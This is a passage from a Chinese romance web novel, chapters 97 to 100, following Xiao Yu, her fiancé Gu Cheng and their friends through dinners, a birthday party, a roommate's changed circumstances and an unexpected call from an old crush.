“挺好,就是家里又开始安排相亲了,烦。”简承贤点了根烟,拍拍身边一语不出的男人,“阿J,这是肖瑜,这是燕北北,跟人打个招呼。”
他这话说的像是带小孩出来见长辈,肖瑜跟燕北北都禁不住笑了笑,顺势光明正大看向了阿J。
肖瑜在视频里见过,如今看到阿J本人,因为他相比顾程稍显纤瘦的身型,倒是没了当时那种极为惊艳的感觉,客客气气朝他笑了笑,便笑着看向了顾菲。
燕北北咽了好几下嗓子,被顾菲掐着手背的皮唤回神,才深呼吸着掩嘴在顾菲耳边道,“小蹄子,你居然也吃这么好!”
对面阿J待几人视线都从脸上挪开,才渐渐松开了紧攥的十指,闷声道,“你们好,我……有点紧张,不好意思,我,我叫乔希,是阿J,是,是菲菲的男朋友,也是阿K的好朋友。你们……你们好。”
他声线是十分低沉有磁性的浑厚男音,偏话说得结结巴巴,耳后都红透了。矛盾的反差感,惹得肖瑜和燕北北禁不住又偷笑着看了他好几眼,还是顾菲左右伸手捂住了俩人的眼睛,她俩才咯咯笑着拉下了她的手。
顾菲平素里嚣张惯了,可今儿硬是被仿佛带人见家长一样的场面搞得有点害羞,狠狠剜了左右两眼,连忙叫人上菜。
一叠叠精致的菜肴端上来,阿J木讷地不说话,简承贤起初还跟她们三个闲聊几句,可后来手机震了几下,便也显得有些漫不经心,烟更是一根接一根不带停。
燕北北瞥一眼对面两个男人,小声跟顾菲道,“你男朋友帅是帅,可嘴巴跟粘了胶水似的。你们俩平时只动手动脚,不动口的吗?”
“去你的。”顾菲横她一眼,悄声应道,“都说了他社恐,慢慢熟悉才行。我们俩在一起的时候,他还是很活泼的。”
肖瑜也把头凑了过来,贼兮兮道,“菲菲,他的确更适合被你圈在家里强制爱。我觉得他看起来很不自在,超级难受。”
顾菲抬头看了眼低眉吃菜的乔希,眼睛里有一丝内疚,“我知道。以前我那些朋友很没有边界感,一见面根本就不在乎阿J的感受,随随便便乱开玩笑上下其手,让他心里很不舒服,所以……不过,你们俩很给我长脸,阿J这会儿应该是已经接受你们了。”
肖瑜和燕北北闻言都又悄咪咪看向阿J。
他似乎对别人的视线特别敏感,明明低着头正在吃东西,却立刻抬眸看了过来,一见那四只眼睛连忙避开他的目光,他紧了紧握着筷子的五指,轻咳一声,“对不起,我,不是不想跟你们说话,我……不知道说什么。”
“一切尽在不言中,不用说。”燕北北登时就接过了话,很大方地笑道,“你是菲菲的男朋友,只要对我们菲菲好,跟她有话说就行了。作为菲菲的闺蜜,我很负责任地告诉你,闺蜜关你已经过了,我就喜欢脸帅话少的闺蜜男友,悦目又省心,可遇不可求。嗳,小鱼儿,你作为闺蜜兼未来嫂子,是不是也发表一下感言?”
“怪不得会把你调到市场部,这张嘴真会叨叨。”肖瑜被她逗得直笑,闻言也看向阿J,点点头,“菲菲喜欢你,我们都会祝福的。我也不喜欢跟陌生人讲话,也并不觉得这有什么不合适。谈恋爱嘛,你们俩开心,比什么都重要。”
“啧,听听,过来人的经验。”简承贤吐了口烟,翘唇笑道,“你是谈得开心了,你们家顾总前前后后把我灌了整整四天。谈恋爱不顾别人死活,这事儿你最有经验。”
“可惜我今天得开车,不然你也灌我啊。”肖瑜呵呵笑着给他倒了杯清酒,又给阿J也添满了一杯,几个人共同举起来。
这一刻,阿J的神色才终于松弛一些,有了笑意,“很高兴认识你们。”
*
饭吃到一半,有燕北北和顾菲插科打诨,简承贤也十分活泼,气氛渐渐松弛活络,阿J依旧话不多,但偶尔会笑着应几句,不再似初时那般紧绷。
顾菲见他情绪尚好,松了口气,拉拉肖瑜,“我过去给悦悦姐敬杯酒。她家跟我们是世交,以后你也会经常见到的,一起吧?”
“好啊。”之前在俱乐部见过申少京,肖瑜也知道两家的关系,边随她往外走,边感慨道,“申二花那么跳脱的性子,居然会跟你哥是好朋友,太神奇了。”
“我哥带你见过少京哥了?”顾菲的语气很自豪,“少京哥是出了名的混不吝,但就是对我哥服气得很,别看他比我哥年长,打小跟屁虫似的追着我哥跑。不过他这人吧,虽然花心,但很仗义,也一直都很照顾
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我。男人间的交情嘛,有时候就是这么奇奇怪怪,反正确实打小俩人就处得像自家兄弟。少京哥是家里唯一的儿子,上边有两个姐姐,二姐在国外,今天过生日的是大姐,申悦。”
说着话,已经来到了隔壁的包间。
不同于顾菲他们那间略显安静的氛围,这厢七八个男男女女像是刚玩过砸蛋糕的游戏,连顾程脸上都沾了不少的奶油,正拿湿巾擦拭着,眉目间尽是笑意。
见到两个小姑娘并肩进来,顾菲是见怪不怪的样子,而肖瑜看向顾程时惊愕地瞪大了眼睛,申少京探手就从高塔般的蛋糕上挖了一块,几步过来揉在了肖瑜的脸上,哈哈乐道,“阿程,快过来舔奶油!”
“……”肖瑜简直觉得这家伙跟自己八字不合,反手就从脸上刮了奶油直接也往他脸上招呼,“讨厌!我还带着妆呢!”
申少京也是一米八几的个头,虽没料到肖瑜会立刻反击,但到底是玩惯了热闹的,身手十分敏捷,电光火石间就把随后赶来的顾程往前一拽,直接用他挡住了肖瑜拍过来的奶油。
这下顾程脸上脖子上衬衣领子上,全都挂了彩。肖瑜看向各色奶油装饰下那张脸,愣了一下,继而扑哧笑出了声,“亲爱的,你现在是名副其实的奶油小生,好可爱。”
顾程无奈地横了眼申少京,拉她回去席间拿湿巾,“你们结束了?”
“还没有,菲菲说带我过来给寿星敬个酒。”肖瑜接过他递来的湿巾,没擦自己的脸,而是踮起脚来仔仔细细帮他在脸颊和脖颈擦拭着,末了摸了摸他有些发潮的衣领,蹙了眉,“有点湿了,不舒服吧?要不我们早点回去?”
“哎我说,三言两语就要把人带走,你问过我了么?”
场子里因她二人到来,渐渐安静下来。身居主位的申悦起身,气球和花海营造的背景墙在后,映衬得她女王一般,挑眉轻笑,“阿程,就因为你非得来这儿,我连家里的晚宴都只露了个面。说吧,跟你女朋友走,还是留下来陪我?”
这话的熟稔度和内涵,明显超出了纯友谊。肖瑜愣了一下,抬眸看向她时,已有几分不悦,可当看到在申悦身侧双手捧着湿巾盒的女孩时,她清丽的眼眸张了张,连忙把目光又挪到申悦面上,脸色疾变。
“大姐,你别闹。上回我跟弟妹玩笑几句,你都不知道阿程发了多大脾气。”申少京连忙过来把申悦摁下去,又跟顾程笑道,“赶紧哄哄弟妹,和和气气恭喜我大姐步入中年。”
“谁三十二就中年了?你小子找抽呢是吧?!”申悦作势扬了扬手,见肖瑜有点呆滞地被顾程拉在身边坐下,连他拿湿巾给她擦拭脸颊,小姑娘都白着脸不说话,她轻咳一声,扬了唇,“弟妹,这么开不起玩笑啊?逗你玩呢,我不过就是阿程的初恋对象而已,没什么。想回家你们就回吧,可别吵架。”
“初恋对象?”肖瑜登时回了神,诧异地挤眉看着顾程,“你第一次谈恋爱的对象不是秦舒曼吗?”
98. 第 98 章
第九十八章
“小时候不懂事,爱在一起玩就以为自己喜欢她。”众目睽睽,顾程细致地给她擦完脸,解开自己仍有些潮意的领口,很淡定地应道,“所以刚上初中,我就让妈跟伯母说我要娶她。不过……”
他见肖瑜目瞪口呆望着自己,低声笑了笑,“不过大姐那会儿嫌弃我又胖又矮,寻死觅活地要家里拒了这门娃娃亲。就是这样。”
几句话说的席间尽是埋汰笑意,连一直忍着没敢跟肖瑜提起过这段八卦的顾菲都憋不住笑出了声。坐在申悦一侧的闺蜜沈云帆笑道,“这轻描淡写的。阿程,悦悦后来不都悔改了吗?还三番五次地上门求婚,你真没心动过啊?怎么着也算是你的白月光吧。”
“白什么月光?”申悦撇了下嘴,看看肖瑜,翻了个大白眼,“人跟我说了,小时候因为觉得我性格好,一起玩着舒坦。可现在再看,觉得太爷们儿,不适合当老婆,而且还反过来嫌弃我年纪比他大,专照心窝给我戳刀子。”
肖瑜长长舒了一口气,弯了眼眸起身,端起面前倒好的果汁望向申悦,“姐姐,生日快乐,也感谢你当年的拒婚之恩。”
她先干为敬。申悦又瞪了顾程一眼,才轻笑着喝了眼前的酒,笑道,“行吧,反正我也只是挑来挑去,实在没比阿程好的才后悔,但如今我养的小奶狗也不是一两个,又乖又懂事。真要是跟阿程好了,怕也没这享受的机会。你俩就锁死吧,白头偕老。”
“借你吉言。”顾程笑着跟她喝了一个,一边示意顾菲去敬酒,一边探身道,“再坐会儿?这几个都是打小相熟的,日后也会常见。”
“嗯。”肖瑜又看了眼一直站在申悦身边的女孩子,见她低着眉眼端着笑,不时为申悦和申少京添酒递东西,她咬了下唇,凑在他耳边悄声问道,“那个女孩子是这里的服务生吗?”
“不是,是少京带来的。”顾程顺着她的视线看过去,有些不解地问道,“认识?”他说着,顿了一下,突然想起什么来,“刚才介绍的时候,听说跟你同校。是不是上次住院那个女同学?”
之前刘娜安排保姆去照顾肖瑜的室友时,在短信里跟他提过,那个女孩被申少京的秘书给接走了。只是他关注的重心并不在此,此刻看到肖瑜的反应,倒是心里有了数。
肖瑜点了下头,再看向刘孜歆时,只见申少京伸手揽起了她的腰,而她抿紧唇角看了眼自己,不吱声顺着他的拥揽坐了下来,脑袋却深深垂了下去。
肖瑜的五指攥了攥,挪开视线悄声道,“我跟菲菲还是先去隔壁吧。你走的时候叫我,好吗?”
顾程蹙了下眉,“那个简承贤,还有没有再乱动心思?”
肖瑜在桌下捏了下他的腿,“你还在陪娃娃亲初恋过生日呢!再揪着我不放,不理你了。”
“晚上去我家。”顾程笑着捉住她的手,凑在耳边道,“昨晚让你泡柠蜜,还真的就只给泡柠蜜。故意的?”
肖瑜脸一红,一边起身,一边嘟囔,“昨晚阿姨做了蒜泥白肉,我没忍住,多吃了几口……”
*
出了包间,肖瑜并没有随顾菲直接回去,而是寻了个借口等在走廊。果然不过两三分钟,申悦他们的包间门开,改头换面般的刘孜歆从里面走了出来,沉默地看着她。
她如今齐肩发,染了巧克力色。素来朴素的休闲衣也换成了精致的裹身裙,还穿着一双从来不曾在寝室里见到过的尖头高跟鞋。清冷的五官,忧郁的眼眸,与这身轻熟风的装扮,违和中有着让人忍不住想去征服的欲/望,那个曾经眼神清澈的女大学生,已经连影子都不见半分。
“我不是故意不跟你说话,而是这种场合下,不知道你是不是愿意让他们知道我跟你……是同学。”刘孜歆轻声说完,再度低下了头,手指在身侧握成了团。
肖瑜也沉默了片刻,心里有些闷闷的,“我也怕你不想被我认出来。孜歆,申少京……”她犹豫了下才道,“我听说他很花心的。”
“我知道。”刘孜歆抬起头来,唇角是苦涩的笑,“等有时间一起吃个饭吧,我把一切都告诉你。我……”
“哎?!孜歆!你怎么也在这里?”话未说完,一侧包厢门开,燕北北满眼惊讶地看着她俩,舌头都要打结了,“哇的天,你这,变化好大啊!”
刘孜歆看了眼肖瑜,见她微不可察地冲自己摇了摇头,她意会,收起心下的情绪,笑了笑,“我也开始实习了,今晚陪上司出来赴宴,没想到他们居然跟小鱼儿认识。刚还在说,最近有空想一起吃个饭,我请客,你也来,好吗?”
肖瑜闻声抿了下唇,燕北北狐疑地皱了下眉,倒也没多说什么,只笑道,“没问题啊,咱仨这么有缘,以后这同寝的情分也不能断了。那等你安排啦?”
刚客气着寒暄了几句,又是一阵开门的声响,申少京探出了头,看到刘孜歆正在跟肖瑜她们说话,他愣了一下,上前一把就把刘孜歆扯进怀里,极为轻佻地勾起她的下巴笑道,“还以为你偷偷跑了。跟我弟妹挺投缘?”
肖瑜忍不住去看燕北北,燕北北惊讶地看着眼前这一幕,瞪大了眼睛。而刘孜歆没躲也没推,仰头朝他轻轻笑了笑,“嗯,是一个寝室的。刚才人多,没来得及打招呼,出来遇到就说几句话。”
“居然还是室友?”申少京一听就笑了,越发亲昵地摩挲着她的肩,转头跟肖瑜笑道,“弟妹,咱俩这缘分还真是挺深啊。以后再敢乱生哥哥的气,别说阿程那儿我要告状,歆歆这里也不饶你。”
肖瑜心里一团乱,根本没有跟他斗嘴开玩笑的心情,闻言她有些呆滞地点点头,拉起燕北北跟刘孜歆说道,“今天大家都有事,改天见面再好好聊吧。回见。”
“你跟肖瑜关系怎么样?”她跟燕北北前脚走,后脚申少京便挑了眉,好奇地问,“她在学校乖不乖?有没有什么乱七八糟的男人?阿程可是我最好的兄弟,如果知道她有什么黑历史,你可千万别跟我瞒着。”
“她很乖的。”刘孜歆垂下眼睛,很乖巧地应道,“据我所知,顾总应该是她第一个男朋友。”
“没看出来,居然比你还乖?”申少京在她腰上掐了一把,悄声道,“我二姐的人已经找到陈凌志了,今晚是不是得好好奖励我一下?”
刘孜歆的身子僵了一下,抬起脸来笑了笑,眼睛里却是一片死寂,“嗯。”
*
“别问我,我真的什么都不知道。”进了包间,肖瑜闷头喝了一口果汁,迎上燕北北探究的目光,摇了摇头,“刚才第一眼看过去,我差点以为自己眼花了。”
“估计也是移情疗伤吧,之前好像就有传言,说校外有人追孜歆。不过也就一阵儿,后来就没下文了,没想到如今居然峰回路转了。”燕北北叹口气,给自己和对面空了杯的简承贤都添满酒,一边喝,一边道,“咱们寝室可真是妥妥遭了爱情诅咒啊……不过否极泰来,你如今有了顾总,孜歆这位看起来虽然风流了点,但说不好也是顾总那种不可貌相、内里含蓄的男人,反正怎么着都比陈凌志那王八蛋强。倒是我,也不知道得孤家寡人到何年。”
“你们在聊谁?”
听到顾菲接了话,肖瑜也叹了口气,郁闷地说道,“今晚申二花带来的女孩子,是我俩的室友。”
“啊?”顾菲惊讶地咋了下舌,转头蹙眉看向燕北北,“你什么眼神啊?少京哥那种男人,也能拿来跟我哥比?他最荒唐的时候,一次带六个女伴出来跟我们玩,隔天问起来,连
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名字都记不住。嘁,北北,你还是继续单着吧。不然就你这眼神,下一个还不定比得上赵狗呢。”
“这么混蛋啊?”燕北北听得五官都扭曲了,嫌弃地撇着嘴道,“物以类聚。小鱼儿,以后还是让你们家顾总离他远点,免得被带坏。”
“我更相信一个人骨子里的本质。”肖瑜恹恹地应了一声,烦恼地摇摇头,“孜歆说过几天约一下,会跟我们讲清楚,等她自己说吧。”
终于等到几个女孩子都沉默了下来,简承贤看了眼燕北北,轻咳一声,“北北,你真的没男朋友?是真的没有?彻彻底底,真真正正的没有?”
一句话登时惹来肖瑜和顾菲惊悚的目光,燕北北也张了张嘴,好半天才狐疑地说道,“你看上我了?这么突然?”
阿J听了噗嗤一笑,几乎是今晚情绪外露最明显的一次。
简承贤又摸了根烟,却没点,挠挠头,索性直起身子,正色道,“别误会,是这样。过几天我得参加一个高中同学的婚礼,要回趟舟城。一方面我爸妈催我相亲这事儿太头疼,另一方面……这场婚礼对我来说比较特别,需要一个嘴皮子利索又不怯场的伴儿,我瞧着你挺合适的。”
“你处假对象有瘾啊?”肖瑜忍不住笑出了声,揶揄道,“就不能正经谈个女朋友吗?你对恋爱过敏?”
“谈恋爱伤神伤脑的,哪有游戏玩着舒服。”简承贤轻嗤一声,见几个女孩子都是一副不认同的模样,他烦躁地点上烟深吸一口,蹙眉道,“是我初恋的婚礼。我单着去,不合适。”
一阵哄笑,继而是数道同情的目光。
他被看得实在是有些不好意思,气急败坏地从兜里掏出一张银行卡,拍桌上,“出场费一天两千,成不成一句话!”
“车费餐饮费酒店费份子钱都你的啊。”燕北北哈哈笑着把卡拿起来看了看,在两个闺蜜忍俊不禁的目光中,也豪气地拍了桌,“成!”
*
两厢宴罢,已经九点多了。
简承贤叫了代驾,先跟戴了棒球帽和大口罩的乔希离开。顾菲如今跟乔希重修旧好,性子的确收敛许多,即便申少京他们几度邀约,也没松口跟着去下一个场子,而是叫了代驾直接带上燕北北回了家。
燕北北这几天其实挺郁闷的。事业有了新开端,转正也板上钉钉,原本是值得高兴的事情,可合租的室友都是初出茅庐的年轻人,尚未真正经历社会锤炼,羡慕与嫉妒总是明里暗里流露出来,让昔日的革命感情生了嫌隙。
她虽然是个豁达的性子,可那几个人若有若无的孤立,甚至刚生出几分暧昧情感的刘明坤都有意跟她拉开了距离,到底让她心里不怎么舒服,是以能晚归就晚归,甚至有了出去单租的念头。
肖瑜和顾菲的车子一前一后进了泽鼎。燕北北下了车,遥遥看见电梯逐渐合上的大门里,身型高大的男人探腰低下了头,她连忙拉住顾菲躲在了一角,悄声道,“咱们赶下一趟,电梯里有情况。”
两日未见,又在满怀期待中独守空房一夜,顾程确实已经处在隐而不发的边缘。
他原本自视并非重/欲的男人,对申少京他们少不了女人相伴的夜生活也嗤之以鼻。然而刚刚得享其中滋味,生理与心理双双泄闸,餐厅里人多眼杂便就算了,一旦进入只有两人独处的空间,不管是肖瑜被遮得密不透风的曲线,还是莹润饱满的樱唇,就连她含着笑看他一眼,心里那根弦都被拨得停不下来。
衣衫散落一地,未进卧室,两个人的身影已在月色下纠缠地难分难解,相比之前在港区的理智,疯狂不断升温。
终于一切归于平静,顾程拢住怀中的温软,身心都是满足,“搬上来住吧?我想以后每天回家都能看到你。”
99. 第 99 章
第九十九章
他原以为肖瑜会欣然答应,却不料她往他怀里钻了钻,有些犹豫地说道,“我也想每天都看到你。不过现在搬过来还不太合适,等订过婚好吗?”
顾程闻声不禁蹙眉,低头抬起了她的脸,“有什么区别?我爸妈很快就会去舟城议婚,我妈比我还急着娶你进门,难道你还怕我会不负责?”
“那倒不是。”相比如烟花绽放般短暂的欢愉,肖瑜最喜欢的还是睡前这一刻的温存,耳鬓厮磨,悄言细语,连呼吸都是甜的。她也抬手抚上他的脸,轻轻说道,“我妈妈这几天可能要来看我,如果发现我跟你同居了,我怕她会担心。”
“你不是刚从家里回来?穆总突然过来……”他想起在俱乐部时肖瑜接到的电话,神色不禁有些凝重,“有什么特别的事吗?”
说起来,的确是与穆青华上次打来的电话有关。
因为最近舟城出了一件事,说大不大,说小不小,十分令人唏嘘。金融老总陈家的独生女,也是打小被捧在掌心里长大的姑娘,嫁了个高知,对女孩也是一心一意细心呵护的好丈夫。可两个人新婚没多久,因为宫外孕没及时发现,一场大出血直接要了女孩的命,陈夫人哭得生了抑郁症,正值壮年的陈总也一夜白头,喜事变丧事,在舟城传的风风雨雨。
所以穆青华第一时间就想起了自家如花似玉的宝贝,电话里千叮咛万嘱咐,将来结了婚一定要关心周期,晚一天就得严阵以待。尤其肖瑜曾经有痛经史,谈了男朋友没多久,周期直接就紊乱提前了,尽管她并没有告诉母亲已经跟顾程发生了亲密关系,穆青华作为过来人,还是担心得不得了,找人在泽城这边约了妇科权威,准备近日亲自带闺女做一次全面的检查。
“你不是周期紊乱,是上次吃了紧急避孕药的副作用。”顾程听完倒是松了口气,安慰她道,“你上次开始和结束具体是什么时间?明天我让娜娜记下来,以后定时给我发提醒。”
“你给我吃了药吗?”肖瑜惊讶地睁大了眼睛,“什么时候?”
“从香港回来的时候。”他探手抚上她紧致的肚皮,吻了吻她的眉,“你那时高热,我问过医生,就算想留也不合适。不过我想等你毕了业,就要孩子。”
“那么快?”肖瑜拿掌心覆上他的手背,翘着头不解道,“你不想我们先享受几年二人世界吗?我也想跟你生孩子,可我觉得可以再等两年啊。”
“生得早,对你的身体也好。”顾程的下巴在她脸侧温柔地摩挲,有了丝倦意的声音低沉柔和,“我们早点有继承人,我也可以早点从工作中抽身,只有那样才能真正二人世界。而不是像现在,每天忙到只有夜里才能见到你,甚至可能几天都见不到。等孩子成年,还要给他时间历练,这是一个漫长的过程,尽早开始,才能尽快抽身。”
随着他的话语,呱呱落地的孩童,一步步成长到西装革履的画面感,让肖瑜不禁弯了眸,她抬手环上他的脖子,吻向他的下巴,因着脑海中两个人变成三个人,三个人变成四个人,嬉笑欢闹的场面,轻轻点了点头,“好。”
*
次日清晨,顾程依旧早早去了健身房,只是挂着薄汗再进门时,家里的味道已经变得有些不一样。
清粥的浅浅香气在客厅弥漫,厨房里除了一锅热粥,还有保着温的几张小蛋饼,专门用刀切出了有点带棱角的心型。
他不禁眉目噙笑,折身便去了卧室,然而床榻铺叠整齐,连床单都收拾得不见褶皱,哪里还有田螺姑娘的身影。
*
田螺姑娘已经收拾停当换了衣服,正跟燕北北往单位食堂走。
在家休养那几天,肖瑜没少拉着陈嫂锻炼厨艺,可今早打算大展拳脚的时候才发现,平素里家中常见的那些爱心小餐具,手边儿一样都没有,就连想装饰个爱心出来,都还得动刀子。
是以她匆匆把爱心早餐弄好,就回家梳洗,走去单位的一路上,也不停地在网上下单,忙得不亦乐乎。
燕北北瞅着她连吃饭都闲不下来,叹息道,“舔狗本性真是改不了。嗳,顾总你俩都打算结婚了,用不着这么舔了吧?”
“结了婚之后,更要有生活情趣啊。”肖瑜下完最后一单,开心地弯了眉眼吃口菜,“要过一辈子呢,不能敷衍。你猜顾叔叔这会儿吃着我做的饭,会不会觉得淘到了宝?”
“会做饭的女人多了去了,爱你就是宝,不爱就是免费保姆。”燕北北如今一点都不恋爱脑,毫不留情地说了大实话,“想要情趣,还不如在那方面多下功夫,舒服了至少是双向的。你俩进展这么快,挺和谐?”
“大清早的,怎么三句话离不开和谐。”来公司的路上,燕北北就好奇地不得了,不是问她昨晚又大战了几个回合,就是问她某人到底活好不好,对不对得起那副好身材。肖瑜剜了她一眼,红着脸道,“不知道的还以为你最近很急。”
“饱汉子不知道饿汉子饥。”燕北北低叹一声,摇摇头,“女人也是有需求的好吗?你跟菲菲左拥右抱,可怜如今就我是个真正的孤家寡人,被你俩一夜喂两顿狗粮,有没有人性啊!”
“你不是有奶味儿吗?”肖瑜不由往餐厅另一端瞟了一眼,小声问,“你俩还是不说话啊?”
“不是一路人,下头了。”燕北北撇了下嘴,没什么兴致地放下了餐具,“前天我约他下班一起出去吃个饭,阴阳怪气给我来了句,如今跟我身份不一样了,觉得自己不配。嘁,不配就不配,本来姐也没真把他当回事。”
“就这么下头了啊……”肖瑜有点唏嘘,思忖着道,“之前我单着的时候,你不是还提醒过我,可以让菲菲帮忙介绍吗?其实你要是想的话,菲菲肯定会帮你。顾总身边的朋友,我目前还没见到比较合适的,等遇到了,我也帮你介绍。”
“可别。圈子不一样,我不想硬挤。”燕北北经历了初恋渣男,如今事业稍有开端,整个人的思路跟在校园时有了很大的变化,十分清醒地说道,“顾总跟你能这么顺利,排除外在条件不说,门当户对应该也有很大关系。可我跟你们不一样,自卑虽然不至于,但差距是清清楚楚摆在那儿的。我想真正潇洒地男欢女爱,就不能想着去攀附。说起来……
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”
她很谨慎地四下看看,才悄声说道,“那天跟孜歆在一起的男人,应该是顾总的朋友吧?说实话,我真没想到孜歆会突然这么大变化。”
刘孜歆做手术的事,肖瑜对谁都没提过,包括燕北北。她咬了下唇,思忖着道,“他叫申少京,跟顾家是世交,其他的我不清楚,但他在男女关系方面的确很随意,所以外号二花,又二又花。”
“所以失恋是真的会彻底改变一个人啊……”燕北北叹息着又摇了摇头,正待再说话,肖瑜的手机响起来,她识相地闭了嘴,便见肖瑜一边小声感慨着玄学神奇,一边接起了电话,“孜歆?”
刘孜歆约了两人周五晚上出去吃饭,想到顾程那个时间都会回老宅,肖瑜问了燕北北,便把时间确定了下来。可刚放下电话,就有视频通话的请求响起,看到屏幕上不可能会出现的名字,她一瞬间面色变得苍白,连握住手机的五指都禁不住有些颤抖。
“怎么了?”燕北北见她突然这副模样,抬头看了眼她的手机,眼神也嚯得一变,蹙了眉,“怎么是他?你们还有联系?”
肖瑜没有说话,事实上她根本没有听到燕北北的话。
上一次在香港的重逢,一切都发生得太过突然,混乱又疯狂。风波过后归于平静,她以为终于放下了过往,却不料只是一个意料之外的视频请求,就能让自己心头狂跳,甚至要用尽全身的力气,才能克制住直接摁下接听的冲动。
终于在漫长的无言之后,铃声结束。她咽了下嗓子,额角已有一颗冷汗滑入了眼角。
“小鱼儿?”
燕北北轻轻喊了她一声。
肖瑜惊醒般抖了一下,低头看向再度闪烁着响起铃声的屏幕。
燕北北左右看了看,起身坐过来拿过她的手机,直接摁下‘拒绝’,将手机放进了自己的口袋,轻声交代道,“我去收拾餐具,你坐着别动。等我回来。”
肖瑜木讷地点了下头,好半天,才在路过几位同事客气的问早声中,彻底回了神。
“我以为你已经把他拉黑了。”离上班时间还有十几分钟,燕北北把她拉进楼梯间,恨铁不成钢地叹了口气,“小鱼儿,你居然还喜欢他。”
“我没有。”肖瑜脱口否认,却禁不住攥紧了十指,“我只是,不知道该不该接。”
如果是在香港之行前,即便许久未曾联络,即便是被他临行前的话刺到遍体鳞伤,接到姜昊主动打来的视频,她也一定会毫不犹豫地按下接听,压住心内的悸动,像曾经那样,只求能保留住朋友的情谊就好。
可那一夜,她明白了姜昊对她的感情。刚才看到视频请求的那一刻,她忽然有点理解他曾经对她那种若即若离,甚至刻意避开的情绪。
明知不可以,却还是忍不住会想亲近。她不敢接,是因为自己还做不到只把姜昊当普通朋友,一旦看到他,哪怕只是视频,都难免心有悸动。对于跟顾程这段感情来说,这跟精神出轨没有区别。唯一正确的做法,就是彻底不再见面。
可是,他为什么会突然联系她?难道,出什么事了吗?
100. 第 100 章
第一百章
“北北。”肖瑜深呼吸了几次,终于情绪彻底平复下来,才嗫嚅道,“你等下找机会联系一下姜昊,好吗?问问他找我有什么事?我……我怕他真的出什么事。”
口袋里的手机还在一遍遍嗡嗡地低鸣震动,大有不接通不罢休的意思。
燕北北不是不知道肖瑜之前在学校里,一看到姜昊就走不动路的德性。她本以为如今她跟顾程蜜里调油,已经把那人忘得七七八八,哪里知道一个视频而已,姜昊那小子不依不饶地发,依旧是以往暧昧不清的样子,而肖瑜……
燕北北拿出她的手机,直接摁了关机键,握了握她的手,“交给我。手机也先搁我这儿,省得你一个忍不住,头脑发热犯大错。小鱼儿,珍惜眼前,想想以前他怎么对你的,想想你爸红了的眼眶,也想想你跟顾总都决定要结婚了,千万不能动摇。”
肖瑜的唇角抿了抿,点头,“不会的。不过,别让顾总知道。”
*
一整个上午,肖瑜都有些心神不宁。
她知道自己不该多想,可那毕竟是她曾经放在心尖上的人。共同成长的那些日子,他灿烂不羁的笑容,置气时紧锁的眉头,闹性子时别扭的小脾气,都鲜活得仿佛就在昨日,任凭怎么驱逐都在脑海中散不去。即便强迫自己去回忆那些因他生的泪水,也总会被他如同呓语般,说要和她永远在一起时痛苦绝望的神色覆盖。
她也知道燕北北是对的,拉黑,删除,随便一种方式都能彻底隔断今后的联系,但她目前还做不到。要她亲手把曾经的记录从手机中剔除,让一切都了无痕迹,让曾经的笑和泪都像梦境般彻底消散,就像要她亲手将那个人从自己的生命中抹去一样。只是想想,就足以让她心里揪成一团。何况她也是真的担心,怕他是不是真的出了事。
终于在忐忑自责中熬到了午饭时间,十二点的指针刚过时间线,她便起身匆匆走出办公室,打算去找燕北北,却在下一秒,硬生生顿住了脚步。
“脸色怎么这么难看?”顾程跟安祈攸一前一后刚从电梯里出来,他随意一瞥便凝了眉,大步过来伸手摸了摸她的额头,“不舒服?”
“我……”肖瑜生硬地扯了个笑,有些心虚地垂下眼睛,“我饿了,正准备去找北北吃饭。”
“我也刚好有事找你,一起。”顾程跟安祈攸又交代了几句话,拥起她走向电梯,“手机怎么关了?要不是跟娜娜确认过,我还以为你今天旷工。”
“手机……”肖瑜咬了下唇,依旧低垂着脑袋,两只手在腰前缠起了麻花,“没带。”
顾程垂眸看了眼她搅在一处的十指,“下午带你去医院。”
“啊?”肖瑜愣了一下,连忙摇头,“我真的没事,就是……有点饿,吃过饭就好了,真的不用去医院。”
“是穆总安排的。”顾程的视线落在她的脸上,见她跟自己对视不过一秒便又低下了头,他眸色微凝,“她原本今天一早就要过来,临时有事耽搁了。所以下午,我陪你去做检查。”
“我妈妈跟你说的吗?”肖瑜闻言有些诧异,可刚刚抬头与他目光相对,她又忍不住垂下眼皮躲开他的直视,吞吞吐吐地说道,“她,没跟我说啊。而且,其实,也不是非得去啊。”
“去一下也好,都放心。”顾程因她闪烁的目光,到底忍不住皱了眉,“昨晚还好好的,今天这是做什么亏心事了?看都不敢看我?”
“我……”肖瑜本来就心虚得不行,被他这么直接问出来,她身子一颤抬起头,幸好电梯已经到了餐厅,人来人往中她被顾程揽着肩膀出了门,才小小声解释道,“我就是饿得心慌,着急吃饭。”
顾程在餐厅吃饭的次数屈指可数,尤其这周他基本没来过公司。有几个老总一瞅见他,便连忙上前打招呼,于是顾程冷眸又盯她一眼,才松了手任她去打饭。
燕北北赶过来的时候,常坐的位置上,顾程和肖瑜联排而坐,对面空着两个位置。
她遥遥冲一直翘头张望的肖瑜招了下手,肖瑜的屁/股刚从凳子上抬起来,身侧的男人睨她一眼。她老老实实又坐下来,朝燕北北指指对面的座位。
燕北北的眼眸张了一下,还想隔空拿眼神示意,迎面撞上顾程鹰眼般锐利的视线,她一秒变脸,五官挤出了一朵花。
“老总好。”
打完饭端了盘子过来,燕北北收腰挺背地坐在两人对面,语气却小心翼翼,“我坐这儿,不打扰您用餐吧?”
“不打扰。”顾程放下筷子,拿起纸巾摁了下唇角,“正好有事问你。”
肖瑜腰肉一紧,也立刻坐得笔直,忐忑地看向燕北北。
燕北北咽了下嗓子,硬起头皮迎上顾程的视线,“老总您请问。”
“在市场部还适应吗?”
“嗯。同事们都很有经验,我学到了很多东西。”燕北北声音不大,但字正腔圆,底气十足,“谢谢老总和秦总给我这个机会,我会努力的。”
“秦总和赵总也夸你虚心好学,有干劲,未来可期。”顾程跟燕北北说着话,余光却也注意到肖瑜闻言放松下来的神色,他眉心紧了紧,又道,“听说最近有一些质疑你的声音,不必放在心上。专心做好你该做的事,用实力让他们把话咽回去。”
官方认证,让燕北北心潮澎湃,挺直了腰板狠狠点头,“谢谢老总鼓励!我会的老总!”
“吃饭吧。”顾程闻言露出几分笑意,转头再看向心不在焉扒拉着饭菜的肖瑜时,眉心却再度起了皱,“你不是很饿吗?怎么看起来没什么胃口。”
肖瑜冷不丁被点,愣了一下才小声道,“我……有点担心,我的手机,不知道是落在家里了,还是丢哪儿了……”
她说着,又悄摸地撩着眼角看向燕北北。
几年的同寝共眠,燕北北又哪里不明白这是给她的暗示。可她并没有直接把手机拿出来,而是顺着她的话说道,“你这两点一线的,估计丢不到外边。是落家里了吧?要不你稍微吃快点,待会儿有时间我还能陪你回去一趟找找。”
